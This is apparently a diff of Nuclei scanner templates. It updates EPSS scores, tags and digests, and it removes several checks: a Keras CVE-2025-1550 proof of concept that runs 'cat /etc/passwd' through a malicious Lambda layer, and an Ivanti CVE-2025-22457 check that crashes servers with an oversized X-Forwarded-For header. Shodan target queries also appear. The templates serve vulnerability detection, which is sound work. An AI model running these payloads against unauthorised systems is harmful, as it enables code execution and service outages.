-
-          response = send_message(ssl_sock, auth_request)
-          if not response:
-              ssl_sock.close()
-              return False, None
-
-          response = send_message(ssl_sock, file_exchange_request)
-          if not response:
-              ssl_sock.close()
-              return False, None
-
-          try:
-              response_str = response.decode('utf-8', errors='ignore')
-              for line in response_str.split('\r\n'):
-                  if 'remoteid=' in line:
-                      remote_id = line.split('=')[1].strip()
-                      if remote_id:
-                          ssl_sock.close()
-                          return True, FW_VERSION
-          except Exception:
-              pass
-
-          ssl_sock.close()
-          return False, FW_VERSION
-
-      def main():
-          host = os.getenv("HOST")
-          port = os.getenv("PORT")
-
-          target_port = int(port) if port else 541
-
-          is_vulnerable, fw_version = check_vulnerability(host, target_port)
-
-          if is_vulnerable:
-              if fw_version:
-                  print(f"Vulnerable Version {fw_version}")
-              else:
-                  print("Vulnerable")
-          else:
-              if fw_version:
-                  print(f"NOT VULN Version {fw_version}")
-              else:
-                  print("NOT VULN")
-
-      if __name__ == "__main__":
-          main()
-
-    matchers:
-      - type: word
-        words:
-          - "Vulnerable"
-
-    extractors:
-      - type: dsl
-        dsl:
-          - response
-# digest: 4a0a00473045022100e19f865221f9a11473e241efdf93f4271646b1f58ed96032f1178773ea1bbfe5022016049a4d28f0cdebddca036be43b9358b629e6d6f54f01813389fe823ce34a45:922c64590222798bb761d5b6d8e72950
@@ -6,8 +6,6 @@ info:
  severity: critical
  description: |
    InvoiceShelf version 1.3.0 and below contains an unauthenticated PHP deserialization vulnerability that can lead to remote code execution. An attacker with knowledge of the APP_KEY can achieve remote command execution on the server through Laravel's cookie deserialization. While the vulnerability is severe, it is partially mitigated in default installations as the APP_KEY is regenerated during setup.
-  impact: |
-    Unauthenticated attackers with knowledge of the APP_KEY can achieve remote code execution through Laravel cookie deserialization on InvoiceShelf servers.
  remediation: |
    Upgrade InvoiceShelf to a version higher than 1.3.0. Ensure your APP_KEY is properly regenerated and not using the default value
  reference:
@@ -19,14 +17,14 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-55556
    cwe-id: CWE-502
-    epss-score: 0.4356
-    epss-percentile: 0.98569
+    epss-score: 0.7976
+    epss-percentile: 0.99096
  metadata:
    verified: true
    max-request: 2
    shodan-query: 'http.title:"InvoiceShelf"'
    fofa-query: 'title="InvoiceShelf"'
-  tags: cve,cve2024,invoiceshelf,rce,deserialization,vuln
+  tags: cve,cve2024,invoiceshelf,rce,deserialization

 variables:
  marker: "{{randstr}}"
@@ -195,4 +193,4 @@ http:
      - type: status
        status:
          - 500
-# digest: 4b0a00483046022100a92dab04eba8ccaf1bf2024fa757d0e290572527ecffc7d52a05356866faa78e022100e2208fbb5cdd1145d2a16dedb9d51cb3da15eb9f5dc8cbdd70305f3307f14437:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100bedda7807b6e8b1de9d06c3de6965d20f099c71510556bb6cd624a2fad2be0db02207a9e0962a7814c6422cdc32195f4b474081785e386a7578b5a1705d5add154cc:922c64590222798bb761d5b6d8e72950
@@ -21,14 +21,14 @@ info:
    cvss-score: 6.8
    cve-id: CVE-2024-56331
    cwe-id: CWE-22
-    epss-score: 0.01793
-    epss-percentile: 0.75553
+    epss-score: 0.41406
+    epss-percentile: 0.97262
  metadata:
    verified: true
    shodan-query: http.title:"Uptime Kuma"
    product: uptime-kuma
    vendor: uptime-kuma
-  tags: cve,cve2024,lfi,uptime-kuma,file-disclosure,vuln
+  tags: cve,cve2024,lfi,uptime-kuma,file-disclosure

 variables:
  username: "{{username}}"
@@ -124,4 +124,4 @@ code:
      - type: word
        words:
          - "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
-# digest: 4a0a00473045022063feec5cb787c094413d5f0c965953ea6d76a05e23135e1a45d66ebe8a15fb6c022100dbe71405ee7fb44801540567237e0121ccc43a7bef1f7f79c2aefad514b6d0dd:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220767c6864cb0310b6d63e766a5284e127185a790ded13671c3b33ee3ae955d86a02202e855684ba68b62411f6e36c7e6c472bfbd78ce3f6729980b57f92116bca9a5c:922c64590222798bb761d5b6d8e72950
@@ -6,20 +6,16 @@ info:
  severity: critical
  description: |
    An improper verification of cryptographic signature vulnerability was identified in GitHub Enterprise Server that allowed SAML SSO authentication to be bypassed resulting in unauthorized provisioning of users and access to the instance. Exploitation required the encrypted assertions feature to be enabled, and the attacker would require direct network access as well as a signed SAML response or metadata document. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.15 and was fixed in versions 3.11.16, 3.12.10, 3.13.5, and 3.14.2. This vulnerability was reported via the GitHub Bug Bounty program.
-  impact: |
-    Unauthenticated attackers can bypass SAML SSO authentication through crafted SAML responses, enabling unauthorized user provisioning and instance access on GitHub Enterprise Server.
-  remediation: |
-    Upgrade GitHub Enterprise Server to version 3.11.16, 3.12.10, 3.13.5, or 3.14.2 or later that properly verifies cryptographic signatures.
  reference:
    - https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
    - https://github.com/advisories/GHSA-g83h-4727-5rpv
  classification:
-    epss-score: 0.22443
-    epss-percentile: 0.97394
+    epss-score: 0.3891
+    epss-percentile: 0.97110
  metadata:
    verified: true
    shodan-query: title:"GitHub Enterprise"
-  tags: cve,cve2024,github,ghe,saml,auth-bypass,sso,vuln
+  tags: cve,cve2024,github,ghe,saml,auth-bypass,sso

 code:
  - engine:
@@ -192,4 +188,4 @@ http:
      - type: kval
        kval:
          - user_session
-# digest: 4a0a0047304502200587f238d52636ddb9fc7aaf7fe436f8f3ab17e72c08899cfe0187c79134e68f022100f6aa63a4cc1f0e186e759e611b16be71ae112087e92f35d4186f5b9f4760e29d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022011426fc5ebeb8774da55b3e13ea70980635eae1dfcdc9265862c83ccee5dd32c022100a3811bfcc159dbc91424ddb31e76806b5b1a64acd73aa014e5f2306f058cb32f:922c64590222798bb761d5b6d8e72950
@@ -1,80 +0,0 @@
-id: CVE-2025-1550
-
-info:
-  name: Keras Model.load_model - Arbitrary Code Execution
-  author: nukunga[seunghyeonJeon]
-  severity: critical
-  description: |
-    The Keras Model.load_model function permits arbitrary code execution, even with safe_mode=True, through a manually constructed, malicious .keras archive. By altering the config.json file within the archive, an attacker can specify arbitrary Python modules and functions, along with their arguments, to be loaded and executed during model loading
-  impact: |
-    Attackers can execute arbitrary code during model loading, potentially leading to remote code execution or system compromise.
-  remediation: |
-    Update to the latest version of Keras where this issue is fixed or apply security patches provided by the developers.
-  reference:
-    - https://nvd.nist.gov/vuln/detail/CVE-2025-1550
-    - https://github.com/keras-team/keras/pull/20751
-    - https://towerofhanoi.it/writeups/cve-2025-1550/
-  classification:
-    epss-score: 0.02803
-    epss-percentile: 0.84628
-  metadata:
-    max-request: 1
-  tags: cve,cve2025,code,keras,rce,ml
-
-self-contained: true
-
-code:
-  - engine:
-      - py
-      - python3
-
-    source: |
-      import os
-      import sys
-
-      try:
-          import tensorflow as tf
-          from tensorflow.keras.models import load_model
-          from tensorflow.keras.layers import Lambda, Input
-          from tensorflow.keras.models import Model
-          import numpy as np
-      except ImportError:
-          sys.exit(1)
-
-      def create_malicious_model():
-          def malicious_function(x):
-              result = os.popen("cat /etc/passwd").read()
-              print(result)
-              return x
-
-          input_layer = Input(shape=(1,))
-          lambda_layer = Lambda(malicious_function, name="evil_lambda")(input_layer)
-          model = Model(inputs=input_layer, outputs=lambda_layer)
-          return model
-
-      def exploit_lambda_layer():
-          model_path = "/tmp/malicious_model.keras"
-          try:
-              model = create_malicious_model()
-              model.save(model_path)
-              del model
-
-              loaded_model = load_model(model_path)
-              test_input = np.array([[1.0]])
-              loaded_model.predict(test_input, verbose=0)
-
-              return True
-          except:
-              return False
-          finally:
-              if os.path.exists(model_path):
-                  os.remove(model_path)
-
-      exploit_lambda_layer()
-
-    matchers:
-      - type: regex
-        part: response
-        regex:
-          - "root:.*:0:0:"
-# digest: 4b0a00483046022100e95dcb40df1aa99dcb6f3e482549be6b3cbe00f4ab9ae83a7a49a9a228d31b14022100bc7629bd6fe3649ba37f8435e5827aaedbe4bfc0d7584437b7e14a26038f8055:922c64590222798bb761d5b6d8e72950
@@ -1,167 +0,0 @@
-id: CVE-2025-22457
-
-info:
-  name: Ivanti Connect Secure - Stack-based Buffer Overflow
-  author: s4e-io,pussycat0x
-  severity: critical
-  description: |
-    Ivanti Connect Secure before version 22.7R2.6, Ivanti Policy Secure before version 22.7R1.4,
-    and Ivanti ZTA Gateways before version 22.8R2.2 contain a stack-based buffer overflow caused by
-    improper input handling, allowing remote attackers to execute arbitrary code without authentication.
-  impact: |
-    Remote attackers can execute arbitrary code on the affected systems, potentially leading to full system compromise.
-  remediation: |
-    Update to the latest versions: Ivanti Connect Secure 22.7R2.6 or later, Ivanti Policy Secure 22.7R1.4 or later, Ivanti ZTA Gateways 22.8R2.2 or later.
-  reference:
-    - https://labs.watchtowr.com/is-the-sofistication-in-the-room-with-us-x-forwarded-for-and-ivanti-connect-secure-cve-2025-22457
-    - https://www.cvedetails.com/cve/CVE-2025-22457
-    - https://github.com/securekomodo/CVE-2025-22457
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
-    cvss-score: 9.0
-    cve-id: CVE-2025-22457
-    cwe-id: CWE-121,CWE-787
-    epss-score: 0.99961
-    epss-percentile: 0.99975
-    cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
-  metadata:
-    vendor: ivanti
-    product: connect_secure
-    shodan-query: http.title:"ivanti connect secure"
-    fofa-query: title="ivanti connect secure"
-    zoomeye-query: title:"ivanti connect secure"
-    google-query: intitle:"ivanti connect secure"
-  tags: cve,cve2025,ivanti,intrusive,kev,vkev,vuln
-
-variables:
-  HOST: "{{Host}}"
-  PORT: "{{Port}}"
-
-flow: http(1) && code(1)
-
-http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/dana-na/auth/url_default/welcome.cgi"
-
-    matchers:
-      - type: dsl
-        internal: true
-        dsl:
-          - 'contains_any(body, "Ivanti Connect Secure", "Pulse Secure", "DSLaunchURL", "dana-na")'
-          - 'status_code == 200'
-        condition: and
-
-code:
-  - engine:
-      - py
-      - python3
-
-    source: |
-      import os
-      import time
-      import requests
-      import re
-
-      requests.packages.urllib3.disable_warnings()
-
-      PATHS = [
-          "/dana-na/auth/url_default/welcome.cgi",
-          "/dana-na/setup/psaldownload.cgi",
-      ]
-
-      IVANTI_MARKERS = [
-          "Ivanti Connect Secure",
-          "Pulse Secure",
-          "DSLaunchURL",
-          "welcome.cgi",
-          "dana-na",
-      ]
-
-      TIMEOUT_NORMAL = 5
-      TIMEOUT_PAYLOAD = 10
-
-      def safe_request(method, url, headers=None, timeout=5):
-          try:
-              if method == "GET":
-                  return requests.get(url, headers=headers, timeout=timeout, verify=False)
-              elif method == "POST":
-                  return requests.post(url, headers=headers, timeout=timeout, verify=False)
-          except requests.exceptions.RequestException:
-              return None
-
-      class IvantiExploit:
-          def __init__(self, host, port):
-              self.host = host.rstrip("/")
-              self.port = port
-
-          def build_url(self, path):
-              host = self.host
-              if not host.startswith("http://") and not host.startswith("https://"):
-                  host = f"https://{host}"
-              return f"{host}:{self.port}{path}"
-
-          def is_ivanti(self, response_text):
-              for marker in IVANTI_MARKERS:
-                  if marker in response_text:
-                      return True
-              return False
-
-          def check_vuln(self):
-              for path in PATHS:
-                  url = self.build_url(path)
-
-                  # Step 1: Pre-check - must be reachable, return 200, and be Ivanti
-                  r1 = safe_request("GET", url, timeout=TIMEOUT_NORMAL)
-                  if not r1 or r1.status_code != 200:
-                      continue
-
-                  if not self.is_ivanti(r1.text):
-                      print(f"Not an Ivanti target (no Ivanti markers in response). Skipping.")
-                      return False
-
-                  print(f"Ivanti fingerprint confirmed on {url}")
-
-                  # Step 2: Send crash payload - POST with oversized X-Forwarded-For
-                  # A vulnerable server will CRASH (no response / timeout)
-                  # A patched or non-vulnerable server will respond normally
-                  payload_headers = {
-                      "User-Agent": "Mozilla/5.0",
-                      "X-Forwarded-For": "1" * 2048,
-                  }
-                  r2 = safe_request("POST", url, headers=payload_headers, timeout=TIMEOUT_PAYLOAD)
-
-                  if r2 is not None:
-                      # Server responded normally = NOT crashed = NOT vulnerable
-                      print(f"Server responded with HTTP {r2.status_code}. Not vulnerable (no crash).")
-                      continue
-
-                  # r2 is None = no response = potential crash
-                  print("No response to payload (potential crash detected). Verifying...")
-
-                  # Step 3: Follow-up check - server should recover and return 200
-                  # Ivanti's web process auto-restarts after crash
-                  time.sleep(2)
-                  r3 = safe_request("GET", url, timeout=TIMEOUT_NORMAL)
-
-                  if r3 is not None and r3.status_code == 200:
-                      print(f"VULNERABLE: {self.host}:{self.port}{path}")
-                      return True
-                  else:
-                      status = r3.status_code if r3 else "no response"
-                      print(f"Follow-up returned {status}. Could not confirm crash recovery. Skipping.")
-                      continue
-
-              print("Target appears safe.")
-              return False
-
-      if __name__ == "__main__":
-          host = os.getenv("Host")
-          port = os.getenv("Port")
-          IvantiExploit(host, port).check_vuln()
-
-    matchers:
-      - type: word
-        words:
-          - "VULNERABLE:"
-# digest: 490a0046304402207cc93451889af0b6c41b0540c7bf1f5814d9962b04b3834885913368c3492a150220096155140f4dd04ee27eac8742bff5f1ee5f87be35dafc94c2b4ca1e9d357fbd:922c64590222798bb761d5b6d8e72950
@@ -6,8 +6,6 @@ info:
  severity: critical
  description: |
    ruby-saml provides security assertion markup language (SAML) single sign-on (SSO) for Ruby. An authentication bypass vulnerability was found in ruby-saml prior to versions 1.12.4 and 1.18.0 due to a parser differential. ReXML and Nokogiri parse XML differently; the parsers can generate entirely different document structures from the same XML input. That allows an attacker to be able to execute a Signature Wrapping attack. This issue may lead to authentication bypass. Versions 1.12.4 and 1.18.0 fix the issue.
-  impact: |
-    Unauthenticated attackers can bypass SAML SSO authentication through parser differential exploitation, enabling unauthorized access to GitLab instances without valid credentials.
  remediation: |
    This vulnerability is fixed in 1.17.0 and 1.12.3.
  reference:
@@ -21,8 +19,8 @@ info:
    cvss-score: 9.3
    cve-id: CVE-2025-25291
    cwe-id: CWE-347
-    epss-score: 0.19506
-    epss-percentile: 0.97024
+    epss-score: 0.02296
+    epss-percentile: 0.81527
  metadata:
    verified: true
    vendor: gitlab
@@ -37,7 +35,7 @@ info:
      - body="gitlab-ci.yml"
      - title="gitlab"
    google-query: intitle:"gitlab"
-  tags: cve,cve2025,saml,auth-bypass,gitlab,code,vuln
+  tags: cve,cve2025,saml,auth-bypass,gitlab,code

 code:
  - engine:
@@ -80,4 +78,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 4a0a00473045022100cbaffcc408a94be48afe76d414e49c1fe2fbf1c283129be0165751edab5c55da0220587f2b5fa7917173871899684951affacdfd1892548cfe2d11c904cad7cc405d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220235b1de01210fb06562b784c31b9774a385c46ff77e11ce19f1df321822bc3e8022100d6bad0364c99e6c8086521ab2accbb9575b74af87cc682d0d57ef38099fbe991:922c64590222798bb761d5b6d8e72950